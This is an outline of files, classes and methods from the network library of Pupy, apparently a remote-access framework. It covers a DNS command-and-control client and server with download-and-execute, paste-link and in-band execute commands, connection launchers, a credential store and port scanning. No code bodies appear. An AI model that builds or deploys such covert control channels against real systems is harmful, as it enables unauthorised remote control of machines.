method __init__ (line 75) | def __init__(self, format):
method pack (line 79) | def pack(self, *args):
method unpack (line 82) | def unpack(self, data):
function next (line 95) | def next(iterator):
function callable (line 106) | def callable(obj):
function select (line 114) | def select(*args):
function get_exc_errno (line 125) | def get_exc_errno(exc):
class PollingPoll (line 140) | class PollingPoll(object):
method __init__ (line 141) | def __init__(self):
method register (line 144) | def register(self, fd, mode):
method unregister (line 162) | def unregister(self, fd):
method poll (line 165) | def poll(self, timeout = None):
class SelectingPoll (line 191) | class SelectingPoll(object):
method __init__ (line 193) | def __init__(self):
method register (line 197) | def register(self, fd, mode):
method unregister (line 205) | def unregister(self, fd):
method poll (line 209) | def poll(self, timeout = None):
function with_metaclass (line 223) | def with_metaclass(meta, *bases):
FILE: pupy/network/lib/connection.py
function stream_dump (line 65) | def stream_dump(obj, version=0):
function _dump_bytes_to_buffer (line 73) | def _dump_bytes_to_buffer(obj, stream, version):
function _dump_buffer_to_buffer (line 97) | def _dump_buffer_to_buffer(obj, stream, version):
class SyncRequestDispatchQueue (line 109) | class SyncRequestDispatchQueue(object):
method __init__ (line 114) | def __init__(self):
method get_queue (line 130) | def get_queue():
method _dispatch_request_worker (line 136) | def _dispatch_request_worker(self):
method __call__ (line 210) | def __call__(self, on_error, func, *args):
method close (line 269) | def close(self):
class PupyClientCababilities (line 293) | class PupyClientCababilities(object):
method __init__ (line 296) | def __init__(self, version=0):
method set (line 301) | def set(self, cap):
method get (line 304) | def get(self, cap):
method version (line 308) | def version(self):
method version (line 312) | def version(self, version):
method ack (line 318) | def ack(self):
class PupyConnection (line 324) | class PupyConnection(Connection):
method __repr__ (line 336) | def __repr__(self):
method __init__ (line 339) | def __init__(self, pupy_srv, *args, **kwargs):
method _on_sync_request_exception (line 393) | def _on_sync_request_exception(self, exc):
method consume (line 410) | def consume(self):
method wake (line 413) | def wake(self):
method activate_3to2 (line 416) | def activate_3to2(self):
method is_3to2 (line 419) | def is_3to2(self):
method set_pings (line 422) | def set_pings(self, ping=None, timeout=None):
method _handle_ping (line 443) | def _handle_ping(self, data):
method get_pings (line 451) | def get_pings(self):
method sync_request (line 457) | def sync_request(self, handler, *args):
method _send_control (line 540) | def _send_control(self, code, data=None, timeout=None):
method _py2to3_conv (line 551) | def _py2to3_conv(self, handler, args):
method _netref_factory (line 588) | def _netref_factory(self, oid, clsname, modname):
method _send_request (line 605) | def _send_request(self, handler, args, nowait=None):
method _async_request (line 636) | def _async_request(self, handler, args=(), callback=(lambda a, b: None)):
method _dispatch_reply (line 639) | def _dispatch_reply(self, seq, raw):
method _dispatch_exception (line 671) | def _dispatch_exception(self, seq, raw):
method _close_rpyc (line 703) | def _close_rpyc(self, _catchall=True):
method _close_chan (line 728) | def _close_chan(self, _catchall=True):
method close (line 780) | def close(self, _catchall=True):
method inactive (line 804) | def inactive(self):
method serve (line 807) | def serve(self, timeout=None):
method _init_service_with_notify (line 810) | def _init_service_with_notify(self, timeout):
method init (line 850) | def init(self, timeout=60):
method loop (line 857) | def loop(self):
method _serve (line 900) | def _serve(self, timeout=None):
method is_extended (line 972) | def is_extended(self):
method _dispatch_pupy_control (line 975) | def _dispatch_pupy_control(self, code, *args):
method _dispatch (line 990) | def _dispatch(self, data):
method defer (line 1069) | def defer(self, command, *args):
method ping (line 1073) | def ping(self, timeout=30, now=None, block=False):
class PupyConnectionThread (line 1087) | class PupyConnectionThread(Thread):
method __init__ (line 1088) | def __init__(self, *args, **kwargs):
method run (line 1105) | def run(self):
FILE: pupy/network/lib/convcompat.py
function reprb (line 33) | def reprb(value):
function as_native_string (line 36) | def as_native_string(
function as_unicode_string (line 64) | def as_unicode_string(value, encoding=DEFAULT_MB_ENCODING, fail=True):
function as_unicode_string_deep (line 92) | def as_unicode_string_deep(value, encoding=DEFAULT_MB_ENCODING, fail=True):
function as_escaped_string (line 124) | def as_escaped_string(value, fail=True):
function filter_strings (line 143) | def filter_strings(values):
function reprb (line 151) | def reprb(value):
function as_native_string (line 154) | def as_native_string(
function as_unicode_string (line 188) | def as_unicode_string(value, encoding=DEFAULT_MB_ENCODING, fail=True):
function as_unicode_string_deep (line 216) | def as_unicode_string_deep(
function as_escaped_string (line 249) | def as_escaped_string(value, fail=True):
function filter_strings (line 268) | def filter_strings(values):
class ExtendedJsonEncoder (line 274) | class ExtendedJsonEncoder(json.JSONEncoder):
method default (line 275) | def default(self, obj):
class ExtendedJsonDecoder (line 282) | class ExtendedJsonDecoder(json.JSONDecoder):
method __init__ (line 283) | def __init__(self, *args, **kwargs):
method _hook (line 288) | def _hook(self, obj):
function fs_as_unicode_string (line 296) | def fs_as_unicode_string(value, fail=True):
function fs_as_unicode_string_deep (line 304) | def fs_as_unicode_string_deep(value):
function fs_as_native_string (line 311) | def fs_as_native_string(value):
function try_as_native_string (line 318) | def try_as_native_string(value, fail=True):
function try_as_unicode_string (line 333) | def try_as_unicode_string(value, fail=True):
function fix_exception_encoding (line 348) | def fix_exception_encoding(exc):
function is_binary (line 359) | def is_binary(text):
FILE: pupy/network/lib/dnsinfo.py
function _parse_resolv_conf (line 16) | def _parse_resolv_conf(path='/etc/resolv.conf'):
function _determine_split_char (line 70) | def _determine_split_char(entry):
function _config_win32_nameservers (line 81) | def _config_win32_nameservers(nameservers):
function _config_win32_search (line 89) | def _config_win32_search(searches):
function _config_win32_fromkey (line 97) | def _config_win32_fromkey(_winreg, key):
function _win32_is_nic_enabled (line 147) | def _win32_is_nic_enabled(_winreg, lm, guid, interface_key):
function _parse_registry (line 203) | def _parse_registry():
function dnsinfo (line 288) | def dnsinfo():
FILE: pupy/network/lib/doh.py
class InvalidHostName (line 49) | class InvalidHostName(Exception):
class SecureDNS (line 53) | class SecureDNS(object):
method available (line 59) | def available(hostname, ipv6, *expected_ips):
method __init__ (line 78) | def __init__(self, url=GOOGLE, validation=False):
method resolve (line 84) | def resolve(self, hostname, query_type=A):
method _prepare_hostname (line 117) | def _prepare_hostname(self, hostname):
method __repr__ (line 133) | def __repr__(self):
FILE: pupy/network/lib/echo.py
class EchoScanHTTP (line 36) | class EchoScanHTTP(object):
method __init__ (line 44) | def __init__(self, timeout=10):
method _add_table (line 57) | def _add_table(self, key, sock):
method _del_table (line 63) | def _del_table(self, key):
method on_open_port (line 67) | def on_open_port(self, info):
class EchoScanTcp (line 93) | class EchoScanTcp(object):
method __init__ (line 98) | def __init__(self, timeout=10):
method on_open_port (line 102) | def on_open_port(self, info):
function udp (line 121) | def udp(host, timeout=10, amount=10, abort=None):
function tcp (line 187) | def tcp(host, timeout=10, amount=10, abort=None):
class Echo (line 229) | class Echo(Thread):
method __init__ (line 237) | def __init__(self, host, amount=8, on_complete=None):
method abort (line 250) | def abort(self):
method run (line 253) | def run(self):
function echo (line 272) | def echo(host, amount, on_complete):
FILE: pupy/network/lib/igd.py
function str2bool (line 37) | def str2bool(bstr):
function getProtoId (line 41) | def getProtoId(proto_name):
class UPNPError (line 53) | class UPNPError(Exception):
method __init__ (line 54) | def __init__(self, hcode, ucode, udes):
method __str__ (line 64) | def __str__(self):
function get_location_url (line 69) | def get_location_url(sock):
class IGDClient (line 85) | class IGDClient(object):
method __init__ (line 120) | def __init__(
method available (line 166) | def available(self):
method enableDebug (line 169) | def enableDebug(self, d=True):
method enablePPrint (line 175) | def enablePPrint(self, p=True):
method _getOutgoingLocalAddress (line 181) | def _getOutgoingLocalAddress(self):
method _get1stTagText (line 195) | def _get1stTagText(self, xmls, tagname_list):
method _parseErrMsg (line 216) | def _parseErrMsg(self, err_resp):
method discovery (line 226) | def discovery(self, st=b'urn:schemas-upnp-org:device:InternetGatewayDe...
method AddPortMapping (line 312) | def AddPortMapping(self, extPort, proto, intPort, enabled=1, duration=...
method DeletePortMapping (line 335) | def DeletePortMapping(self, extPort, proto, remoteHost=''):
method GetExternalIP (line 349) | def GetExternalIP(self):
method GetGenericPortMappingEntryAll (line 363) | def GetGenericPortMappingEntryAll(self):
method GetGenericPortMappingEntry (line 376) | def GetGenericPortMappingEntry(self, index=None, hideErr=False):
method GetSpecificPortMappingEntry (line 399) | def GetSpecificPortMappingEntry(self, extPort, proto, remote):
method GetNATRSIPStatus (line 420) | def GetNATRSIPStatus(self):
method GetWarnDisconnectDelay (line 436) | def GetWarnDisconnectDelay(self):
method GetIdleDisconnectTime (line 450) | def GetIdleDisconnectTime(self):
method GetAutoDisconnectTime (line 464) | def GetAutoDisconnectTime(self):
method GetStatusInfo (line 478) | def GetStatusInfo(self):
method SetWarnDisconnectDelay (line 494) | def SetWarnDisconnectDelay(self, delay):
method SetIdleDisconnectTime (line 506) | def SetIdleDisconnectTime(self, disconnect_time):
method SetAutoDisconnectTime (line 518) | def SetAutoDisconnectTime(self, disconnect_time):
method ForceTermination (line 530) | def ForceTermination(self):
method RequestTermination (line 539) | def RequestTermination(self):
method RequestConnection (line 549) | def RequestConnection(self):
method GetConnectionTypeInfo (line 559) | def GetConnectionTypeInfo(self):
method SetConnectionType (line 573) | def SetConnectionType(self, ctype):
method customAction (line 585) | def customAction(self, method_name, in_args={}, svc='WANIPConnection'):
method sendSOAP (line 610) | def sendSOAP(self, hostName, serviceType, controlURL, actionName,
method GetFWStatus (line 656) | def GetFWStatus(self):
method AddPinhole (line 669) | def AddPinhole(
method GetPinholeTimeout (line 700) | def GetPinholeTimeout(
method UpdatePinhole (line 732) | def UpdatePinhole(self, uid, lease):
method DelPinhole (line 746) | def DelPinhole(self, uid):
method GetPinholePkts (line 759) | def GetPinholePkts(self, uid):
method CheckPinhole (line 775) | def CheckPinhole(self, uid):
FILE: pupy/network/lib/launchers/__init__.py
function getLogger (line 11) | def getLogger(name):
FILE: pupy/network/lib/launchers/auto_proxy.py
class AutoProxyLauncher (line 39) | class AutoProxyLauncher(BaseLauncher):
method __init__ (line 51) | def __init__(self, *args, **kwargs):
method init_argparse (line 56) | def init_argparse(cls):
method parse_args (line 86) | def parse_args(self, args):
method connect_to_host (line 94) | def connect_to_host(self, host_info):
method iterate (line 148) | def iterate(self):
FILE: pupy/network/lib/launchers/bind.py
class BindLauncher (line 20) | class BindLauncher(BaseLauncher):
method init_argparse (line 29) | def init_argparse(cls):
method parse_args (line 37) | def parse_args(self, args):
method iterate (line 40) | def iterate(self):
FILE: pupy/network/lib/launchers/connect.py
class ConnectLauncher (line 33) | class ConnectLauncher(BaseLauncher):
method __init__ (line 43) | def __init__(self, *args, **kwargs):
method init_argparse (line 49) | def init_argparse(cls):
method parse_args (line 68) | def parse_args(self, args):
method iterate (line 76) | def iterate(self):
method connect_to_host (line 91) | def connect_to_host(self, host_info):
FILE: pupy/network/lib/launchers/dnscnc.py
class DNSCommandClientLauncher (line 45) | class DNSCommandClientLauncher(DnsCommandsClient):
method __init__ (line 46) | def __init__(self, domain, doh=False, ns=None, qtype=None, ns_timeout=3):
method on_session_established (line 64) | def on_session_established(self):
method on_session_lost (line 67) | def on_session_lost(self):
method on_downloadexec_content (line 70) | def on_downloadexec_content(self, url, action, content):
method on_pastelink_content (line 73) | def on_pastelink_content(self, url, action, content):
method _checkconnect_worker (line 129) | def _checkconnect_worker(self, host, port_start, port_end):
method on_checkconnect (line 137) | def on_checkconnect(self, host, port_start, port_end):
method _checkonline_worker (line 143) | def _checkonline_worker(self):
method on_checkonline (line 168) | def on_checkonline(self):
method on_connect (line 173) | def on_connect(self, address, port, transport, proxy, hostname=None):
method on_disconnect (line 186) | def on_disconnect(self):
method on_exit (line 193) | def on_exit(self):
class DNSCncLauncher (line 201) | class DNSCncLauncher(BaseLauncher):
method __init__ (line 212) | def __init__(self, *args, **kwargs):
method parse_args (line 228) | def parse_args(self, args):
method activate (line 236) | def activate(self):
method init_argparse (line 249) | def init_argparse(cls):
method iterate (line 282) | def iterate(self):
method process (line 310) | def process(self):
method connect_to_host (line 336) | def connect_to_host(self, host_info, transport, proxies):
method on_connect (line 377) | def on_connect(self, command):
method get_transport (line 423) | def get_transport(self):
FILE: pupy/network/lib/msgtypes.py
function register_named_tuple (line 36) | def register_named_tuple(code, ntype):
function register_string (line 45) | def register_string(ntype, code, name):
function msgpack_exthook (line 62) | def msgpack_exthook(code, data):
FILE: pupy/network/lib/netcreds.py
function resolve_ip (line 36) | def resolve_ip(hostname, port=0):
function are_different (line 49) | def are_different(first, second):
class AuthInfo (line 69) | class AuthInfo(object):
method __init__ (line 76) | def __init__(
method _weight (line 114) | def _weight(self, available_fields):
method __eq__ (line 126) | def __eq__(self, other):
method __hash__ (line 135) | def __hash__(self):
method user (line 158) | def user(self):
method __getattr__ (line 164) | def __getattr__(self, key):
method as_dict (line 168) | def as_dict(self):
method as_tuple (line 179) | def as_tuple(self):
class NetCreds (line 187) | class NetCreds(object):
method __init__ (line 192) | def __init__(self):
method get_default_creds_manager (line 196) | def get_default_creds_manager():
method add_cred (line 202) | def add_cred(
method add_uri (line 226) | def add_uri(self, uri, password=None, username=None, realm=None):
method find_creds_for_uri (line 237) | def find_creds_for_uri(self, authuri, username=None, realm=None, domai...
method find_creds (line 245) | def find_creds(
method find_user_password (line 336) | def find_user_password(self, realm, authuri):
method add_password (line 340) | def add_password(self, realm, uri, user, passwd):
function add_cred (line 344) | def add_cred(
function add_cred_for_uri (line 355) | def add_cred_for_uri(username, password, authuri, realm=None):
function find_creds (line 360) | def find_creds(
function remove_creds (line 370) | def remove_creds(
function clear_creds (line 385) | def clear_creds():
function find_first_cred (line 390) | def find_first_cred(
function find_all_creds (line 399) | def find_all_creds(
function find_creds_for_uri (line 417) | def find_creds_for_uri(authuri, username=None, realm=None, domain=None):
function export (line 423) | def export():
FILE: pupy/network/lib/ntop.py
function ensure_ntop (line 6) | def ensure_ntop():
FILE: pupy/network/lib/ntplib.py
class NTPException (line 44) | class NTPException(Exception):
class NTP (line 48) | class NTP(object):
class NTPPacket (line 122) | class NTPPacket(object):
method __init__ (line 138) | def __init__(self, version=2, mode=3, tx_timestamp=0):
method to_data (line 173) | def to_data(self):
method from_data (line 204) | def from_data(self, data):
class NTPStats (line 235) | class NTPStats(NTPPacket):
method __init__ (line 244) | def __init__(self):
method offset (line 251) | def offset(self):
method delay (line 258) | def delay(self):
method tx_time (line 265) | def tx_time(self):
method recv_time (line 270) | def recv_time(self):
method orig_time (line 275) | def orig_time(self):
method ref_time (line 280) | def ref_time(self):
method dest_time (line 285) | def dest_time(self):
class NTPClient (line 290) | class NTPClient(object):
method __init__ (line 295) | def __init__(self):
method request (line 299) | def request(self, host, version=2, port='ntp', timeout=5):
function _to_int (line 348) | def _to_int(timestamp):
function _to_frac (line 360) | def _to_frac(timestamp, n=32):
function _to_time (line 373) | def _to_time(integ, frac, n=32):
function ntp_to_system_time (line 387) | def ntp_to_system_time(timestamp):
function system_to_ntp_time (line 399) | def system_to_ntp_time(timestamp):
function leap_to_text (line 411) | def leap_to_text(leap):
function mode_to_text (line 429) | def mode_to_text(mode):
function stratum_to_text (line 447) | def stratum_to_text(stratum):
function ref_id_to_text (line 469) | def ref_id_to_text(ref_id, stratum=2):
FILE: pupy/network/lib/online.py
function check_transparent_proxy (line 201) | def check_transparent_proxy():
function internal_ip (line 217) | def internal_ip(check='8.8.8.8'):
function external_ip (line 230) | def external_ip(force_ipv4=False):
function dns_external_ip (line 292) | def dns_external_ip():
function external_headers (line 314) | def external_headers():
function online (line 329) | def online():
function ntp_time_diff (line 345) | def ntp_time_diff():
function check (line 350) | def check():
function bits_to_dict (line 539) | def bits_to_dict(data):
class PortQuiz (line 567) | class PortQuiz(threading.Thread):
method __init__ (line 581) | def __init__(self, amount=5, http_timeout=15, connect_timeout=10, port...
method _on_open_port (line 607) | def _on_open_port(self, info):
method _run (line 645) | def _run(self):
method run (line 670) | def run(self):
FILE: pupy/network/lib/pac.py
function dprint (line 39) | def dprint(x):
function _init_process_omit (line 66) | def _init_process_omit(self):
function get_autoconfig_url_nt (line 87) | def get_autoconfig_url_nt():
function detect_autoconfig_url_nt (line 103) | def detect_autoconfig_url_nt():
function propose_pac_domains (line 115) | def propose_pac_domains():
function propose_pac_location (line 128) | def propose_pac_location():
function get_pac_content (line 146) | def get_pac_content():
function _refresh_pac_player (line 175) | def _refresh_pac_player():
function refresh_pac_player (line 202) | def refresh_pac_player():
function _get_proxy_for_address (line 207) | def _get_proxy_for_address(address):
function get_proxy_for_address (line 221) | def get_proxy_for_address(address):
function _set_proxy_unavailable (line 226) | def _set_proxy_unavailable(proto, addr):
function set_proxy_unavailable (line 236) | def set_proxy_unavailable(proto, addr):
class PACPlayer (line 241) | class PACPlayer(object):
method __init__ (line 247) | def __init__(self, script, source):
method __getitem__ (line 274) | def __getitem__(self, address):
method _export_functions (line 320) | def _export_functions(self):
method getHost (line 333) | def getHost(self, uri):
method dnsDomainIs (line 343) | def dnsDomainIs(self, host, value):
method shExpMatch (line 346) | def shExpMatch(self, host, wildcard):
method dnsResolve (line 355) | def dnsResolve(self, host):
method isInNet (line 371) | def isInNet(self, host, network, mask):
method myIpAddress (line 380) | def myIpAddress(self):
method isResolvable (line 384) | def isResolvable(self, host):
method dnsDomainLevels (line 392) | def dnsDomainLevels(self, host):
method isPlainHostName (line 395) | def isPlainHostName(self, host):
method localHostOrDomainIs (line 398) | def localHostOrDomainIs(self, host, value):
method alert (line 401) | def alert(self, *args):
FILE: pupy/network/lib/picocmd/ascii85.py
function ascii85EncodeDG (line 9) | def ascii85EncodeDG(indata):
function ascii85DecodeDG (line 44) | def ascii85DecodeDG(indata):
FILE: pupy/network/lib/picocmd/baseconv.py
class BaseConverter (line 56) | class BaseConverter(object):
method __init__ (line 61) | def __init__(self, digits, sign='-'):
method __repr__ (line 67) | def __repr__(self):
method _convert (line 70) | def _convert(self, number, from_digits, to_digits):
method encode (line 93) | def encode(self, number):
method decode (line 99) | def decode(self, number):
FILE: pupy/network/lib/picocmd/client.py
class DnsCommandsClient (line 66) | class DnsCommandsClient(Thread):
method __init__ (line 67) | def __init__(
method next (line 165) | def next(self):
method bad_response (line 178) | def bad_response(self):
method event (line 183) | def event(self, command):
method _broadcast_event (line 187) | def _broadcast_event(self, eventid):
method _native_resolve (line 191) | def _native_resolve(self, hostname):
method _doh_resolve (line 209) | def _doh_resolve(self, hostname):
method _dnslib_resolve (line 216) | def _dnslib_resolve(self, hostname):
method _aaaa_page_decoder (line 263) | def _aaaa_page_decoder(self, addresses, nonce, symmetric=None):
method _a_page_decoder (line 279) | def _a_page_decoder(self, addresses, nonce, symmetric=None):
method _q_page_encoder (line 301) | def _q_page_encoder(self, data):
method _probe_record_type (line 360) | def _probe_record_type(self):
method _request (line 380) | def _request(self, *commands):
method _request_unsafe (line 394) | def _request_unsafe(self, commands):
method on_pastelink (line 464) | def on_pastelink(self, url, action, encoder):
method on_downloadexec (line 494) | def on_downloadexec(self, url, action, use_proxy):
method on_pastelink_content (line 519) | def on_pastelink_content(self, url, action, content):
method on_downloadexec_content (line 522) | def on_downloadexec_content(self, url, action, content):
method on_connect (line 525) | def on_connect(self, address, port, transport, proxy, hostname=None):
method on_checkconnect (line 528) | def on_checkconnect(self, host, port_start, port_end):
method on_checkonline (line 531) | def on_checkonline(self):
method on_exit (line 534) | def on_exit(self):
method on_disconnect (line 537) | def on_disconnect(self):
method on_error (line 540) | def on_error(self, error, message=None):
method on_session_established (line 543) | def on_session_established(self):
method on_session_lost (line 546) | def on_session_lost(self):
method on_set_proxy (line 549) | def on_set_proxy(self, scheme, ip, port, user, password):
method process (line 568) | def process(self):
method run (line 686) | def run(self):
FILE: pupy/network/lib/picocmd/dns_encoder.py
class Node (line 74) | class Node(object):
method __init__ (line 79) | def __init__(self, value, weight):
method __lt__ (line 83) | def __lt__(self, other):
method __repr__ (line 90) | def __repr__(self):
class Root (line 94) | class Root(object):
method __init__ (line 99) | def __init__(self, A=None, B=None):
method __lt__ (line 109) | def __lt__(self, other):
method __repr__ (line 112) | def __repr__(self):
class Huffman (line 116) | class Huffman(object):
method __init__ (line 121) | def __init__(self, decoding_tree=None, decoding_table=None):
method set_decoding_table (line 132) | def set_decoding_table(self, decoding_table):
method _generate_table (line 140) | def _generate_table(self):
method encode (line 176) | def encode(self, phrase, last=False):
method decode (line 225) | def decode(self, values):
method train (line 290) | def train(self, frequences):
class TmpResult (line 328) | class TmpResult(object):
method __init__ (line 333) | def __init__(self, encoded_tables, encoded, rest, table_id):
class DnsEncoder (line 340) | class DnsEncoder(object):
method __init__ (line 355) | def __init__(self, tables=None):
method encode (line 373) | def encode(self, data):
method decode (line 456) | def decode(self, data):
class CTDictBuilder (line 684) | class CTDictBuilder(object):
method __init__ (line 689) | def __init__(self, ct_stats):
method _inc_tld (line 747) | def _inc_tld(self, tld):
method _inc_generic (line 756) | def _inc_generic(self, generic):
method _inc_term (line 769) | def _inc_term(self, term):
method _inc_cdn (line 795) | def _inc_cdn(self, cdn):
method _inc_freedns (line 804) | def _inc_freedns(self, freedns):
method make_trees (line 813) | def make_trees(self):
FILE: pupy/network/lib/picocmd/picocmd.py
function unpack_ip_address (line 75) | def unpack_ip_address(packed):
class PackError (line 88) | class PackError(Exception):
class PayloadTooBig (line 92) | class PayloadTooBig(Exception):
method __init__ (line 95) | def __init__(self, message, required_len, max_len):
class UnregisteredTargetId (line 102) | class UnregisteredTargetId(PackError):
class AddressTable (line 106) | class AddressTable(object):
method __init__ (line 109) | def __init__(self):
method get_target_id (line 113) | def get_target_id(self, address):
method get_address (line 119) | def get_address(self, target_id):
method _find_free_target_id (line 131) | def _find_free_target_id(self):
method register (line 153) | def register(self, address, target_id=None):
function from_bytes (line 162) | def from_bytes(bytes):
function to_bytes (line 166) | def to_bytes(value, size=0):
class EncodingTableUnregisteredElement (line 177) | class EncodingTableUnregisteredElement(KeyError):
class EncodingTable (line 181) | class EncodingTable(object):
method __init__ (line 184) | def __init__(self, *alphabet, **kwargs):
method is_registered (line 191) | def is_registered(self, value):
method encode (line 194) | def encode(self, value):
method decode (line 201) | def decode(self, value):
class Command (line 209) | class Command(object):
method pack (line 215) | def pack(self):
method unpack (line 219) | def unpack(data):
method get_dict (line 222) | def get_dict(self):
method __repr__ (line 227) | def __repr__(self):
class Poll (line 233) | class Poll(Command):
method unpack (line 237) | def unpack(data):
method __repr__ (line 240) | def __repr__(self):
class SystemStatus (line 244) | class SystemStatus(Command):
method unpack (line 248) | def unpack(data):
method __init__ (line 251) | def __init__(self, cpu=None, users=None, mem=None, listen=None, remote...
method get_dict (line 331) | def get_dict(self):
method pack (line 341) | def pack(self):
method __repr__ (line 348) | def __repr__(self):
class Ack (line 355) | class Ack(Command):
method __init__ (line 358) | def __init__(self, amount=0):
method pack (line 361) | def pack(self):
method unpack (line 365) | def unpack(data):
method __repr__ (line 368) | def __repr__(self):
class Idle (line 372) | class Idle(Command):
method unpack (line 376) | def unpack(data):
method __repr__ (line 379) | def __repr__(self):
class Sleep (line 383) | class Sleep(Command):
method unpack (line 387) | def unpack(data):
method pack (line 392) | def pack(self):
method __init__ (line 395) | def __init__(self, timeout=30):
method __repr__ (line 398) | def __repr__(self):
class CheckConnect (line 402) | class CheckConnect(Command):
method unpack (line 406) | def unpack(data):
method __init__ (line 414) | def __init__(self, host, port_start, port_end):
method pack (line 423) | def pack(self):
method __repr__ (line 429) | def __repr__(self):
class Reexec (line 434) | class Reexec(Command):
method unpack (line 438) | def unpack(data):
method __repr__ (line 441) | def __repr__(self):
class Exit (line 445) | class Exit(Command):
method unpack (line 449) | def unpack(data):
method __repr__ (line 452) | def __repr__(self):
class Disconnect (line 456) | class Disconnect(Command):
method unpack (line 460) | def unpack(data):
method __repr__ (line 463) | def __repr__(self):
class Policy (line 467) | class Policy(Command):
method __init__ (line 470) | def __init__(self, poll, kex, timestamp=None):
method pack (line 475) | def pack(self):
method __repr__ (line 479) | def __repr__(self):
method unpack (line 483) | def unpack(data):
class Kex (line 490) | class Kex(Command):
method __init__ (line 493) | def __init__(self, parcel):
method pack (line 496) | def pack(self):
method __repr__ (line 499) | def __repr__(self):
method spi (line 503) | def spi(self):
method unpack (line 507) | def unpack(data):
class SystemInfo (line 512) | class SystemInfo(Command):
method __init__ (line 544) | def __init__(
method pack (line 577) | def pack(self):
method get_dict (line 586) | def get_dict(self):
method __repr__ (line 596) | def __repr__(self):
method unpack (line 602) | def unpack(data):
class SetProxy (line 639) | class SetProxy(Command):
method __init__ (line 647) | def __init__(self, scheme, ip, port, user=None, password=None):
method pack (line 666) | def pack(self):
method unpack (line 677) | def unpack(data):
method __repr__ (line 699) | def __repr__(self):
class Connect (line 715) | class Connect(Command):
method __init__ (line 725) | def __init__(self, ip, port, transport='ssl'):
method pack (line 736) | def pack(self):
method __repr__ (line 754) | def __repr__(self):
method unpack (line 760) | def unpack(data):
class DownloadExec (line 777) | class DownloadExec(Command):
method __init__ (line 791) | def __init__(self, url, action='pyexec', proxy=False):
method pack (line 796) | def pack(self):
method __repr__ (line 834) | def __repr__(self):
method unpack (line 840) | def unpack(data):
class PasteLink (line 856) | class PasteLink(Command):
method __init__ (line 918) | def __init__(self, url, action='pyexec'):
method pack (line 922) | def pack(self):
method __repr__ (line 956) | def __repr__(self):
method unpack (line 962) | def unpack(data):
class OnlineStatus (line 976) | class OnlineStatus(Command):
method unpack (line 981) | def unpack(data):
method __init__ (line 985) | def __init__(self, offset=None, mintime=None, register=None):
method pack (line 993) | def pack(self):
method get_dict (line 996) | def get_dict(self):
method __str__ (line 1027) | def __str__(self):
class PortQuizPort (line 1037) | class PortQuizPort(Command):
method unpack (line 1042) | def unpack(data):
method __init__ (line 1047) | def __init__(self, ports):
method pack (line 1050) | def pack(self):
method __str__ (line 1056) | def __str__(self):
class OnlineStatusRequest (line 1060) | class OnlineStatusRequest(Command):
method unpack (line 1065) | def unpack(data):
method __repr__ (line 1068) | def __repr__(self):
class PupyState (line 1072) | class PupyState(Command):
method unpack (line 1087) | def unpack(data):
method pack (line 1102) | def pack(self):
method __init__ (line 1123) | def __init__(
method __repr__ (line 1133) | def __repr__(self):
class ConnectablePort (line 1140) | class ConnectablePort(Command):
method unpack (line 1145) | def unpack(data):
method __init__ (line 1151) | def __init__(self, ip, ports):
method pack (line 1159) | def pack(self):
method __str__ (line 1165) | def __str__(self):
function isset (line 1169) | def isset(flags, flag):
class SystemInfoEx (line 1173) | class SystemInfoEx(Command):
method _arch_to_type (line 1199) | def _arch_to_type(arch):
method _initialize_from_current_system (line 1213) | def _initialize_from_current_system(self):
method __init__ (line 1231) | def __init__(
method pack (line 1257) | def pack(self):
method _unpack_v1 (line 1307) | def _unpack_v1(data):
method unpack (line 1352) | def unpack(data):
method __repr__ (line 1360) | def __repr__(self):
class ConnectEx (line 1369) | class ConnectEx(Command):
method __init__ (line 1395) | def __init__(self, address, port, transport, fronting=None):
method __repr__ (line 1421) | def __repr__(self):
method pack (line 1426) | def pack(self):
method unpack (line 1463) | def unpack(data):
class RegisterHostnameId (line 1492) | class RegisterHostnameId(Command):
method __init__ (line 1497) | def __init__(self, hid, hostname):
method pack (line 1501) | def pack(self):
method unpack (line 1506) | def unpack(data):
method __repr__ (line 1512) | def __repr__(self):
class DataTransferControl (line 1517) | class DataTransferControl(Command):
method __init__ (line 1525) | def __init__(self, action, transfer_id, total_size=None, crc=None):
method _action_to_text (line 1547) | def _action_to_text(self):
method __repr__ (line 1559) | def __repr__(self):
method pack (line 1567) | def pack(self):
method unpack (line 1575) | def unpack(data):
class DataTransferPayload (line 1590) | class DataTransferPayload(Command):
method __init__ (line 1593) | def __init__(self, transfer_id, payload):
method __repr__ (line 1603) | def __repr__(self):
method pack (line 1607) | def pack(self):
method unpack (line 1612) | def unpack(data):
class InBandExecute (line 1618) | class InBandExecute(object):
method __init__ (line 1626) | def __init__(self, method, transfer_id, output=False):
method pack (line 1638) | def pack(self):
method unpack (line 1645) | def unpack(data):
method _method_to_text (line 1652) | def _method_to_text(self):
method __repr__ (line 1662) | def __repr__(self):
class Error (line 1668) | class Error(Command):
method __init__ (line 1677) | def __init__(self, error, message=''):
method pack (line 1681) | def pack(self):
method __repr__ (line 1687) | def __repr__(self):
method unpack (line 1691) | def unpack(data):
class CustomEvent (line 1698) | class CustomEvent(Command):
method __init__ (line 1701) | def __init__(self, eventid):
method pack (line 1704) | def pack(self):
method unpack (line 1708) | def unpack(data):
class ParcelInvalidCrc (line 1713) | class ParcelInvalidCrc(Exception):
method error (line 1718) | def error(self):
class ParcelInvalidPayload (line 1722) | class ParcelInvalidPayload(Exception):
method error (line 1727) | def error(self):
class ParcelInvalidCommand (line 1731) | class ParcelInvalidCommand(Exception):
method __init__ (line 1735) | def __init__(self, command):
method __repr__ (line 1738) | def __repr__(self):
class Parcel (line 1742) | class Parcel(object):
method __init__ (line 1759) | def __init__(self, commands):
method __iter__ (line 1773) | def __iter__(self):
method __len__ (line 1776) | def __len__(self):
method _gen_crc32 (line 1780) | def _gen_crc32(data, nonce):
method _check_crc32 (line 1785) | def _check_crc32(data, nonce, crc):
method pack (line 1789) | def pack(self, nonce, gen_csum=None):
method __repr__ (line 1798) | def __repr__(self):
method unpack (line 1802) | def unpack(data, nonce, check_csum=None):
FILE: pupy/network/lib/picocmd/server.py
function convert_node (line 79) | def convert_node(node):
class DeprecatedVersion (line 86) | class DeprecatedVersion(Exception):
class UnknownVersion (line 90) | class UnknownVersion(Exception):
class NodeBlocked (line 94) | class NodeBlocked(Exception):
class SessionDependedCommand (line 98) | class SessionDependedCommand(object):
method __init__ (line 101) | def __init__(self, default, *rules):
method add_to_session (line 105) | def add_to_session(self, session):
class ExpirableObject (line 150) | class ExpirableObject(object):
method __init__ (line 157) | def __init__(self, timeout):
method expired (line 168) | def expired(self):
method idle (line 172) | def idle(self):
method duration (line 176) | def duration(self):
method bump (line 179) | def bump(self):
class Node (line 184) | class Node(ExpirableObject):
method __init__ (line 191) | def __init__(
